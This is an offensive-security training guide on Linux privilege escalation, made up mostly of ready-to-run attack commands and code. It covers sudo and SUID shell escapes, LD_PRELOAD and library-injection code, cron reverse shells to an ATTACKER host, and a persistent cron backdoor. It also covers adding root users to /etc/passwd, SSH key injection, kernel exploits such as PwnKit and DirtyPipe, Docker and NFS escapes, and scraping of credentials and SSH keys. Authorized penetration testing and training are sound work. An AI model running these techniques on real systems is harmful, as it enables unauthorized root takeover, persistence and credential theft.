



◆ OFFENSIVE SECURITY SERIES ◆

LINUX PRIVILEGE ESCALATION

From Low-Priv Shell to Root — Every Vector

SUID · sudo · Cron · Capabilities · Kernel Exploits · PATH · Docker

SUID/SGID

sudo abuse

Cron Jobs

Capabilities

Kernel CVEs

PATH Hijack

Docker

NFS

Writeable F

RedTeamGarage (RTG) | Offensive Security Education

<https://www.redteamgarage.com/>

LEGAL DISCLAIMER

This guide is for RedTeamGarage (RTG) educational purposes only.

All privilege escalation techniques must ONLY be used on systems you own or have explicit written authorisation to test. RTG assumes zero liability for misuse.

**TABLE OF CONTENTS**

Linux Privilege Escalation — From Low-Priv Shell to Root

01.	ENUMERATION — LINPEAS, PSPY & MANUAL CHECKS
02.	SUDO ABUSE — MISCONFIGURED SUDOERS & GTFOBINS
03.	SUID & SGID BINARY EXPLOITATION
04.	CRON JOB & SCHEDULED TASK ABUSE
05.	LINUX CAPABILITIES EXPLOITATION
06.	PATH HIJACKING & ENVIRONMENT VARIABLE ABUSE
07.	WRITABLE FILES & LIBRARY HIJACKING
08.	KERNEL EXPLOIT METHODOLOGY
09.	NFS & NETWORK FILE SYSTEM MISCONFIGURATIONS
10.	DOCKER & CONTAINER ESCAPE TECHNIQUES
11.	PASSWORD HUNTING — CREDENTIAL FILES & CONFIG SCRAPING
12.	WEAK SERVICE PERMISSIONS & SYSTEMD ABUSE
13.	SPECIAL FILE PERMISSIONS — /etc/passwd, SHADOW & SSH
14.	AUTOMATED TOOLS — LINPEAS, LINENUM & LSE
15.	LINUX PRIVESC CHEAT SHEET



01 — ENUMERATION

LinPEAS, pspy, Manual Checks & Baseline Information Gathering

Privilege escalation starts with thorough enumeration. The goal is to map every potential weakness: misconfigured permissions, running processes owned by root, writable cron files, SUID binaries, kernel version, and any credential material in config files. LinPEAS automates this comprehensively — but understanding the manual commands is essential for targeted exploitation and when tools can't be uploaded.

\$ Manual Enumeration — Baseline Commands

```
# Identity & context
id && whoami && groups
cat /etc/passwd | grep -v nologin | grep -v false
cat /etc/group

# Kernel & OS version (for kernel exploits)
uname -a
cat /etc/os-release
cat /proc/version

# Sudo rights — CRITICAL first check
sudo -l

# SUID/SGID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

# Capabilities
getcap -r / 2>/dev/null

# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*
crontab -l

# Writable directories and files owned by root
find / -writable -type f ! -path '/proc/*' 2>/dev/null | grep -v sys
find / -writable -type d 2>/dev/null | grep -v proc

# Running processes (check for root processes calling scripts)
ps aux | grep root

# Network services
ss -tlnp
netstat -tlnp 2>/dev/null

# Environment variables
env
cat ~/.bash_history
cat ~/.bashrc
```



02 — SUDO ABUSE

Misconfigured sudoers, GTFOBins & ALL=(ALL) NOPASSWD

Misconfigured sudo rights are the most common Linux privilege escalation vector. `sudo -l` reveals every command the current user can run as root. GTFOBins (gtfobins.github.io) catalogues escalation techniques for every binary that can be run with elevated permissions — even 'safe' programs like vim, less, awk, find, and python have root escalation paths.

Binary	sudo Escalation Command	Notes
bash	<code>sudo bash</code>	Trivial — direct root shell
python/python3	<code>sudo python3 -c 'import os;os.system("/bin/bash")'</code>	Any Python version
vim / vi	<code>sudo vim -c '!/bin/bash'</code>	Or <code>:shell</code> inside vim
less	<code>sudo less /etc/passwd then !/bin/bash</code>	Shell escape from pager
find	<code>sudo find . -exec /bin/bash -p \;</code>	Execute as root
awk	<code>sudo awk 'BEGIN {system("/bin/bash")}'</code>	Pattern action root shell
nmap	<code>sudo nmap --interactive then !sh</code>	Old nmap only (pre-5.x)
tar	<code>sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash</code>	Checkpoint action
env	<code>sudo env /bin/bash</code>	Direct root via env
perl	<code>sudo perl -e 'exec "/bin/bash"'</code>	Perl exec
ruby	<code>sudo ruby -e 'exec "/bin/bash"'</code>	Ruby exec
tee	<code>echo 'user ALL=(ALL) NOPASSWD:ALL' sudo tee -a /etc/sudoers</code>	Write to sudoers

\$ sudo Escalation Techniques

```
# Always run this first!
sudo -l

# Common vulnerable sudoers entries:
# user ALL=(ALL) NOPASSWD: ALL          → direct root
# user ALL=(ALL) NOPASSWD: /usr/bin/vim  → vim escape
# user ALL=(root) NOPASSWD: /opt/scripts/*.sh → wildcard abuse

# sudo -u to run as other user
sudo -u#-1 /bin/bash    # CVE-2019-14287 – bypass UID restriction

# Wildcard sudo path abuse
# If: user ALL=(root) NOPASSWD: /opt/scripts/*.sh
echo '/bin/bash' > /tmp/exploit.sh && chmod +x /tmp/exploit.sh
sudo /opt/scripts/../../../../tmp/exploit.sh

# sudo with LD_PRELOAD (if env_keep += LD_PRELOAD in sudoers)
# Create malicious shared library:
cat > /tmp/pe.c << 'EOF'
#include <stdio.h>
#include <unistd.h>
void _init(){setuid(0);setgid(0);system("/bin/bash");}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c
sudo LD_PRELOAD=/tmp/pe.so [any_allowed_binary]

# sudo version exploit – CVE-2021-3156 (Baron Samedit)
# Affects sudo < 1.9.5p2
sudoedit -s '\ ' $(python3 -c 'print("A"*65536)')
```



03 — SUID & SGID BINARY EXPLOITATION

Finding, Analysing & Exploiting Setuid Binaries

SUID (Set User ID) binaries execute with the permissions of the file owner rather than the user running them. A SUID binary owned by root runs with root privileges regardless of who executes it. Common misconfigurations include custom scripts left with SUID set by careless administrators, and well-known binaries with shell escape functionality that GTFOBins documents for root escalation.

\$ SUID Exploitation Techniques

```
# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null -ls

# Check against GTFOBins – gtfobins.github.io/#+suid

# bash with SUID (non-standard but occasionally found)
/bin/bash -p    # -p preserves effective UID

# cp with SUID – overwrite /etc/passwd
openssl passwd -1 -salt rtg 'rtgpass'
echo 'rtgroot:$1$rtg$HASH:0:0:root:/root:/bin/bash' >> /tmp/passwd_new
cp /tmp/passwd_new /etc/passwd
su rtgroot    # Password: rtgpass

# find with SUID
find . -exec /bin/bash -p \;

# vim with SUID
vim.basic -c ':py3 import os; os.execl("/bin/sh","sh","-p")'

# Custom SUID binary – shared library injection
# Check library dependencies
ldd /usr/local/bin/suid_binary
# Check for missing libraries:
strace /usr/local/bin/suid_binary 2>&1 | grep 'No such file'
# Create malicious library in writable path:
cat > /tmp/libmissing.c << 'EOF'
#include <unistd.h>
static void inject() __attribute__((constructor));
void inject(){setuid(0);system("/bin/bash -p");}
EOF
gcc -shared -fPIC -o /tmp/libmissing.so /tmp/libmissing.c
# Run SUID binary – if it loads from /tmp:
LD_LIBRARY_PATH=/tmp /usr/local/bin/suid_binary
```



04 — CRON JOB & SCHEDULED TASK ABUSE

Writable Scripts, PATH Injection & Wildcard Exploitation

Cron jobs running as root that execute writable scripts, or that use relative paths in writable directories, are a reliable escalation vector. pspy is invaluable for monitoring cron jobs in real time — even without root, it shows all processes including those run by other users. The wildcard injection technique exploits cron jobs using tar or rsync with wildcards by creating files whose names are interpreted as flags.

\$ Cron Job Exploitation

```
# Check all cron locations
cat /etc/crontab
cat /etc/cron.d/*
ls /var/spool/cron/crontabs/

# Monitor cron jobs in real time with pspy
# Upload pspy64 to target
./pspy64      # Watch for root processes running scripts

# Scenario 1: Writable script called by root cron
# /etc/crontab: * * * * * root /opt/scripts/backup.sh
ls -la /opt/scripts/backup.sh  # Check if writable
echo 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1' >> /opt/scripts/backup.sh
# Wait for next cron execution → root reverse shell

# Scenario 2: Writable directory in script PATH
# Script: PATH=/tmp:/usr/local/bin:/usr/bin then calls: cleanup
echo '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER/4444 0>&1' > /tmp/cleanup
chmod +x /tmp/cleanup

# Scenario 3: Wildcard injection (tar)
# Cron: * * * * * root cd /var/backups && tar czf backup.tgz *
# Create malicious filenames in /var/backups:
echo '/bin/bash -i >& /dev/tcp/ATTACKER/4444 0>&1' > /var/backups/exploit.sh
chmod +x /var/backups/exploit.sh
touch '/var/backups/--checkpoint=1'
touch '/var/backups/--checkpoint-action=exec=bash exploit.sh'
# tar interprets filenames as flags → executes exploit.sh as root

# Scenario 4: Write new cron to writable cron.d directory
echo '* * * * * root bash -c "bash -i >& /dev/tcp/ATTACKER/4444 0>&1"' \
> /etc/cron.d/rtg_backdoor
```



05 — LINUX CAPABILITIES EXPLOITATION

getcap, Dangerous Capabilities & GTF0Bins Capability Abuse

Linux capabilities split root privileges into distinct units that can be assigned to individual binaries. Certain capabilities are as dangerous as full root — `cap_setuid` allows any process to change its UID to 0, `cap_dac_override` bypasses all file permission checks, and `cap_net_raw` enables raw socket access for packet sniffing. Misconfigured capabilities on common binaries like python, perl, and tar are reliable escalation paths.

Capability	What It Grants	Escalation Method
cap_setuid	Change process UID to 0	python3: <code>os.setuid(0); os.system('/bin/bash')</code>
cap_setgid	Change process GID	Change to root group → access restricted files
cap_dac_override	Bypass file read/write ACLs	Read <code>/etc/shadow</code> directly
cap_dac_read_search	Bypass file read permission	Read any file including shadow
cap_net_raw	Raw socket access	ARP spoofing, packet capture
cap_sys_ptrace	Trace/modify any process	Inject shellcode into root process
cap_sys_admin	Wide system admin calls	Mount filesystem, many kernel paths

\$ Capabilities Exploitation

```
# Find binaries with capabilities
getcap -r / 2>/dev/null

# Common findings:
[*] /usr/bin/python3.9 = cap_setuid+ep
[*] /usr/bin/perl      = cap_setuid+ep
[*] /usr/bin/ruby      = cap_setuid+ep
[*] /usr/bin/tar       = cap_dac_read_search+ep
[*] /usr/bin/vim.basic = cap_dac_override+ep

# cap_setuid - python3
python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'

# cap_setuid - perl
perl -e 'use POSIX;setuid(0);exec "/bin/bash"'

# cap_setuid - ruby
ruby -e 'Process::Sys.setuid(0);exec "/bin/bash"'

# cap_dac_read_search - tar (read any file)
tar -cvf /tmp/shadow /etc/shadow
tar -xvf /tmp/shadow -C /tmp/
cat /tmp/etc/shadow # Read root hash offline crack

# cap_dac_override - vim (write to any file)
vim /etc/sudoers # Add: user ALL=(ALL) NOPASSWD:ALL

# cap_sys_ptrace - inject into root process
# Use inject_into_pid.py to inject shellcode into a root PID
python3 inject.py $(pgrep -n -u root bash)
```



06 — PATH HIJACKING & ENVIRONMENT VARIABLES

Relative Binary Calls, LD_PRELOAD & LD_LIBRARY_PATH

PATH hijacking exploits programs that call other binaries using relative paths (e.g., calling 'service' instead of '/usr/sbin/service'). If a writable directory is earlier in the PATH than the real binary, the attacker's malicious binary executes instead. This is especially powerful when the calling program runs as root via SUID or cron.

\$ PATH Hijacking Techniques

```
# Check if SUID binary or root script uses relative paths
strings /usr/local/bin/suid_binary | grep -v '/'

# If output shows: 'service', 'python', 'curl' etc. — exploitable

# Scenario: SUID binary calls 'service' without full path
# Add writable dir to PATH before /usr/sbin
export PATH=/tmp:$PATH

# Create malicious 'service' binary in /tmp
echo '#!/bin/bash' > /tmp/service
echo '/bin/bash -p' >> /tmp/service
chmod +x /tmp/service

# Run the SUID binary — it calls /tmp/service → root shell
/usr/local/bin/suid_binary
bash-5.1# id
uid=0(root) gid=1000(user) euid=0(root)

# LD_PRELOAD exploitation (if sudo preserves LD_PRELOAD)
# Check: sudo -l → env_keep += LD_PRELOAD
cat > /tmp/pe.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init(){unsetenv("LD_PRELOAD");setgid(0);setuid(0);system("/bin/bash");}
EOF
gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c
sudo LD_PRELOAD=/tmp/pe.so find /

# LD_LIBRARY_PATH for shared library injection
ldd /usr/local/bin/vuln_binary # Find loaded libraries
# Create malicious library named same as loaded lib
gcc -shared -fPIC -o /tmp/libcustom.so.1 malicious.c
LD_LIBRARY_PATH=/tmp /usr/local/bin/vuln_binary
```



07 — WRITABLE FILES & LIBRARY HIJACKING

Writable /etc/passwd, sudoers, Service Files & Python Libraries

World-writable or group-writable sensitive files are a direct escalation path. A writable /etc/passwd allows adding a new root user. Writable Python library paths enable hijacking of imported modules — any Python script running as root that imports a module from a writable directory executes the attacker's code with root privileges.

\$ Writable File Exploitation

```
# Writable /etc/passwd — add root user
ls -la /etc/passwd
# If writable:
openssl passwd -1 -salt rtg 'rtgpass123'
# Output: $1$rtg$HASH_HERE
echo 'rtgroot:$1$rtg$HASH_HERE:0:0:root:/root:/bin/bash' >> /etc/passwd
su rtgroot # Password: rtgpass123
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)

# Writable /etc/shadow — crack or replace root hash
python3 -c 'import crypt; print(crypt.crypt("rtgpass","\$6\$salt\$"))'
# Replace root hash in /etc/shadow with generated hash

# Writable sudoers file
echo 'user ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
sudo bash

# Python library hijacking
# Find writable dirs in Python path:
python3 -c 'import sys; print(sys.path)'
find /usr/lib/python3 -writable 2>/dev/null
# Create malicious module that overrides imported library:
echo 'import os; os.system("/bin/bash")' > /writable/path/hashlib.py
# When root script 'import hashlib' runs → our code executes

# Writable systemd service file
find /etc/systemd /lib/systemd -writable -name '*.service' 2>/dev/null
# Edit ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash'
systemctl daemon-reload && systemctl restart vulnerable.service
/tmp/rootbash -p # Root SUID bash
```



08 — KERNEL EXPLOIT METHODOLOGY

Version Detection, CVE Matching, Compilation & Execution

Kernel exploits directly compromise the Linux kernel to gain root privileges. They are high-risk — a failed exploit can crash the system — but are essential when no other privilege escalation vector exists. The process involves identifying the exact kernel version, matching it to known CVEs, finding or writing an exploit, compiling on a matching architecture, and executing carefully to avoid kernel panic.

CVE	Kernel Version	Vulnerability	Nickname
CVE-2021-4034	All (polkit < 0.120)	pkexec SUID local root	PwnKit
CVE-2021-3493	Ubuntu 14.04-20.10	OverlayFS uid mapping	Ubuntu OverlayFS
CVE-2022-0847	$5.8 \leq \text{kernel} < 5.16.11$	Pipe buffer flag overwrite	DirtyPipe
CVE-2016-5195	$2.6.22 \leq \text{kernel} < 4.8.3$	COW race condition	DirtyCOW
CVE-2023-32629	Ubuntu 22.04 (5.19 kernel)	OverlayFS + local root	GameOver(lay)
CVE-2017-16995	3.x–4.4 (eBPF maps)	eBPF verifier OOB write	eBPF privesc
CVE-2022-2588	5.x (Netfilter cls_route)	UAF in cls_route filter	Netfilter RCE

\$ Kernel Exploit Workflow

```
# Step 1: Get exact kernel version
uname -a
# Linux target 5.15.0-58-generic #64-Ubuntu SMP ...

# Step 2: Search for exploits
searchsploit linux kernel 5.15 local privilege
searchsploit linux kernel ubuntu 22.04

# linux-exploit-suggester — automated CVE matching
wget https://raw.githubusercontent.com/The-Z-Labs/linux-exploit-suggester/
  master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh && ./linux-exploit-suggester.sh

# Step 3: PwnKit (CVE-2021-4034) — works on almost all Linux distros
# Check if polkit is installed:
dpkg -l policykit-1 2>/dev/null || rpm -qa polkit 2>/dev/null

# Download and compile PwnKit
git clone https://github.com/berdav/CVE-2021-4034
cd CVE-2021-4034 && make
./cve-2021-4034
root@target:/# id
uid=0(root) gid=0(root) groups=0(root)

# DirtyPipe (CVE-2022-0847) — Linux 5.8-5.16.11
gcc -o dirtypipe dirtypipe.c && ./dirtypipe /etc/passwd 1 'root::0:0:...'

# IMPORTANT: Always test kernel exploits on identical lab environment first
```



09 — NFS MISCONFIGURATIONS

no_root_squash, World-Readable Shares & SUID Mounting

Network File System (NFS) exports with no_root_squash allow a root user on a client machine to access NFS shares as root — bypassing user mapping. If an attacker can mount an NFS share with this misconfiguration, they can create a SUID bash binary on the share and execute it on the target to escalate to root.

\$ NFS Exploitation Techniques

```
# From target – check NFS exports
cat /etc/exports
# Vulnerable: /data *(rw,no_root_squash) – no_root_squash is critical

# From attacker machine – check available NFS mounts
showmount -e TARGET_IP

# Mount the NFS share on attacker machine
sudo mount -t nfs TARGET_IP:/data /mnt/nfs
ls -la /mnt/nfs

# Exploit no_root_squash – create SUID bash
sudo cp /bin/bash /mnt/nfs/rootbash
sudo chmod +s /mnt/nfs/rootbash
sudo chmod 4755 /mnt/nfs/rootbash

# On TARGET – execute the SUID bash
/data/rootbash -p
rootbash-5.1# id
uid=1001(user) gid=1001(user) euid=0(root)

# Alternative – create C SUID shell
cat > /mnt/nfs/shell.c << 'EOF'
#include <stdio.h>
#include <unistd.h>
int main(){setuid(0);setgid(0);system("/bin/bash");}
EOF
gcc /mnt/nfs/shell.c -o /mnt/nfs/shell
sudo chmod +s /mnt/nfs/shell
# Target: /data/shell
```



10 — DOCKER & CONTAINER ESCAPE

Docker Group, Privileged Containers & Socket Exposure

Membership in the docker group is equivalent to root on the host system. Docker containers run with an unshared kernel — a privileged container or one with the Docker socket mounted can interact directly with the host. Privileged containers can mount the host filesystem and chroot into it, providing full root access to the underlying host OS.

\$ Docker Escape & Group Abuse

```
# Check if user is in docker group
id
# uid=1001(user) gid=1001(user) groups=1001(user),116(docker) ← VULNERABLE

# Docker group → mount host filesystem → chroot to root
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Now in host filesystem as root
cat /mnt/etc/shadow
cp /bin/bash /mnt/tmp/rootbash && chmod +s /mnt/tmp/rootbash

# Privileged container escape
# Check if running privileged:
cat /proc/self/status | grep CapEff
# All f's = CapEff: 000001ffffffffffff = privileged

# Mount host filesystem from privileged container
fdisk -l
mkdir /mnt/host && mount /dev/sda1 /mnt/host
chroot /mnt/host sh

# Docker socket exposure (if /var/run/docker.sock is accessible)
ls -la /var/run/docker.sock
# If readable — same as docker group access
docker -H unix:///var/run/docker.sock run -v /:/mnt \
  --rm -it ubuntu chroot /mnt bash

# cgroups escape (privileged container with SYS_ADMIN cap)
# CVE-2022-0492 — cgroup container escape
unshare -UrmC bash
```



11 — PASSWORD HUNTING

Credential Files, Config Scraping & History Files

Credentials left in configuration files, history files, environment variables, and SSH keys are among the most common and highest-value findings on Linux systems. A database password in a PHP config file, a private SSH key in a home directory, or credentials in bash history can immediately provide root access or lateral movement opportunities.

\$ Credential Discovery Commands

```
# Search for passwords in common config locations
grep -r 'password' /var/www/ 2>/dev/null | grep -v '.swp'
grep -r 'passwd\|password\|pwd' /etc/ 2>/dev/null
grep -r 'DB_PASS\|db_password\|database_password' / 2>/dev/null

# Bash and shell history
cat ~/.bash_history
cat ~/.zsh_history
find / -name '.*_history' 2>/dev/null | xargs cat

# SSH private keys
find / -name 'id_rsa' -o -name 'id_ecdsa' -o -name '*.pem' 2>/dev/null
cat ~/.ssh/id_rsa
ls -la ~/.ssh/authorized_keys

# .env files and config files
find / -name '.env' -o -name '*.env' 2>/dev/null | xargs cat
find / -name 'wp-config.php' 2>/dev/null | xargs cat
find / -name 'config.php' 2>/dev/null | xargs cat
find / -name 'database.yml' 2>/dev/null | xargs cat

# Credential in environment variables
env | grep -i 'pass\|secret\|key\|token\|api'
cat /proc/1/environ 2>/dev/null | tr '\0' '\n'

# MySQL credentials (if mysql client accessible)
cat /root/.my.cnf 2>/dev/null
cat /home/*/.my.cnf 2>/dev/null

# Readable shadow file (rare but happens)
cat /etc/shadow 2>/dev/null

# If readable: crack with hashcat -m 1800 (sha512crypt)
```



12 — WEAK SERVICE PERMISSIONS & SYSTEMD

Writable Service Files, Timer Abuse & Socket Activation

Systemd service units running as root that have world-writable unit files, writable ExecStart scripts, or writable directory paths are direct escalation vectors. Timer units provide a cron-like mechanism that is often overlooked. Writable socket activation files can also be abused to replace the service binary.

\$ Service Misconfiguration Exploitation

```
# Find writable systemd service files
find /etc/systemd /lib/systemd /usr/lib/systemd \
  -name '*.service' -writable 2>/dev/null

# Check service file for writable ExecStart script
cat /lib/systemd/system/vulnerable.service
# ExecStart=/opt/scripts/start.sh ← check if script is writable

ls -la /opt/scripts/start.sh
# If writable:
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' \
  >> /opt/scripts/start.sh
sudo systemctl restart vulnerable.service
/tmp/rootbash -p

# Writable timer file
find /etc/systemd -name '*.timer' -writable 2>/dev/null
# Modify OnCalendar or OnBootSec to trigger frequently

# Systemctl with sudo – write and load service
# If: sudo /bin/systemctl restart service
cat > /tmp/exploit.service << 'EOF'
[Unit] Description=exploit
[Service] Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rb; chmod +s /tmp/rb'
[Install] WantedBy=multi-user.target
EOF
sudo systemctl link /tmp/exploit.service
sudo systemctl start exploit.service
/tmp/rb -p
```



13 — SPECIAL FILE PERMISSIONS

/etc/passwd Writable, SSH Key Injection & ACL Misconfigs

Beyond the common vectors, a range of special file and directory permission misconfigurations provide escalation paths. World-writable /etc/passwd, SSH authorized_keys that can be written, readable .pgpass or .netrc credential files, writable root crontabs, and extended ACLs that grant unexpected access are all found in real-world environments.

\$ Special Permission Techniques

```
# Check extended ACLs (getfacl)
getfacl /etc/passwd 2>/dev/null
getfacl /etc/shadow 2>/dev/null
find / -acl 2>/dev/null | head -20

# Write SSH key to root's authorized_keys (if /root/.ssh is writable)
ls -la /root/.ssh/ 2>/dev/null
# Generate your key pair on attacker:
ssh-keygen -t rsa -b 4096 -f /tmp/rtg_key -N ''
# Write public key to root's authorized_keys:
echo 'ssh-rsa AAAA...YOUR_PUBKEY...' >> /root/.ssh/authorized_keys
# SSH as root:
ssh -i /tmp/rtg_key root@TARGET

# /etc/hosts writable – DNS hijacking for root scripts
echo 'ATTACKER_IP update.target.com' >> /etc/hosts
# Any root script that downloads from update.target.com → hijacked

# Readable /etc/shadow – offline crack
cat /etc/shadow | grep root
# root:$6$salt$HASH:...
hashcat -m 1800 root_hash.txt rockyou.txt # sha512crypt
john --wordlist=rockyou.txt root_hash.txt

# .netrc with credentials
find / -name '.netrc' 2>/dev/null | xargs cat

# Unmounted filesystems with SUID binaries
cat /etc/fstab
mount -a 2>/dev/null
# Look for: nosuid NOT in mount options for writable mounts
```



14 — AUTOMATED ENUMERATION TOOLS

LinPEAS, LinEnum, LSE, pspy & linux-exploit-suggester

Automated enumeration tools dramatically speed up privilege escalation assessment by running hundreds of checks simultaneously and highlighting high-value findings in colour-coded output. LinPEAS is the gold standard — it covers everything from SUID binaries to cloud metadata endpoints. pspy monitors processes without root, revealing hidden cron jobs and daemon behaviour in real time.

\$ Automated Tool Usage

```
# LinPEAS — most comprehensive Linux privesc script
# Upload to target (no deps — pure bash)
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/
  linpeas.sh -o linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_output.txt

# Run without writing to disk (piped execution)
curl -sL https://YOUR_SERVER/linpeas.sh | bash

# LinPEAS specific checks
./linpeas.sh -a    # All checks (slower but more thorough)
./linpeas.sh -s    # Stealth — shorter output
./linpeas.sh -o P  # Only process and cron checks

# pspy — real-time process monitoring (no root needed)
wget https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64
chmod +x pspy64 && ./pspy64
# Watch for: cron executing root scripts, database connections, etc.

# LSE (Linux Smart Enumeration)
wget https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh
chmod +x lse.sh
./lse.sh -l 1     # Level 1 — interesting findings only
./lse.sh -l 2     # Level 2 — more detail

# linux-exploit-suggester — kernel CVE matching
wget https://raw.githubusercontent.com/The-Z-Labs/linux-exploit-suggester/
  master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh && ./linux-exploit-suggester.sh

# LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh && ./LinEnum.sh -r report -e /tmp/ -t
```



15 — LINUX PRIVESC CHEAT SHEET

Every Command — From Shell to Root

Initial check	<code>id && sudo -l && uname -a && cat /etc/os-release</code>
SUID binaries	<code>find / -perm -4000 -type f 2>/dev/null -ls</code>
Capabilities	<code>getcap -r / 2>/dev/null</code>
Writable files	<code>find / -writable -type f ! -path '/proc/*' 2>/dev/null</code>
Cron jobs	<code>cat /etc/crontab && ls /etc/cron.d/ && crontab -l</code>
pspy monitor	<code>./pspy64 (watch for root processes calling writable scripts)</code>
LinPEAS run	<code>curl -sL https://SERVER/linpeas.sh bash OR ./linpeas.sh tee out.txt</code>
sudo GTFBins — bash	<code>sudo bash</code>
sudo GTFBins — python	<code>sudo python3 -c 'import os;os.system("/bin/bash")'</code>
sudo GTFBins — find	<code>sudo find . -exec /bin/bash \;</code>
sudo LD_PRELOAD	<code>gcc -fPIC -shared -nostartfiles -o /tmp/pe.so pe.c then sudo LD_PRELOAD=/tmp/pe.so cmd</code>
SUID bash	<code>/bin/bash -p</code>
SUID cp overwrite	<code>echo 'rtgroot:HASH:0:0:root:/root:/bin/bash' >> /etc/passwd</code>
cap_setuid python	<code>python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'</code>
Cron writable script	<code>echo 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1' >> /opt/backup.sh</code>
Cron wildcard tar	<code>touch '/var/bkp/--checkpoint=1' && touch '/var/bkp/--checkpoint-action=exec=bash exploit.sh'</code>
PATH hijack	<code>export PATH=/tmp:\$PATH then echo '#!/bin/bash\n/bin/bash -p' > /tmp/service && chmod +x /tmp/service</code>
Writable /etc/passwd	<code>openssl passwd -1 -salt rtg 'pass' then echo 'rtg:HASH:0:0:r:/root:/bin/bash' >> /etc/passwd</code>
Kernel — PwnKit	<code>git clone https://github.com/berdav/CVE-2021-4034 && make && ./cve-2021-4034</code>
Kernel — DirtyPipe	<code>gcc -o dp dirtypipe.c && ./dp /etc/passwd 1 'root::0:0:...'</code>
NFS no_root_squash	<code>mount TARGET:/share /mnt && cp /bin/bash /mnt/rb && chmod +s /mnt/rb then /share/rb -p</code>
Docker group escape	<code>docker run -v /:/mnt --rm -it alpine chroot /mnt sh</code>
Docker socket	<code>docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash</code>
Password hunt	<code>grep -r 'password' /var/www/ 2>/dev/null && find / -name '.env' 2>/dev/null xargs cat</code>



CONNECT WITH REDTEAMGARAGE (RTG)

The Community. The Knowledge. The Edge.



Official Website	https://www.redteamgarage.com/
Telegram	https://t.me/redteamgarage
LinkedIn	https://www.linkedin.com/company/redteamgarage-rtg

RTG MISSION

Real-world offensive security training - practical, no fluff, built for serious learners.

Build the most comprehensive red team technique library available anywhere.

Train the next generation of elite offensive security professionals globally.

© RedTeamGarage (RTG). All content for educational and authorized security testing only.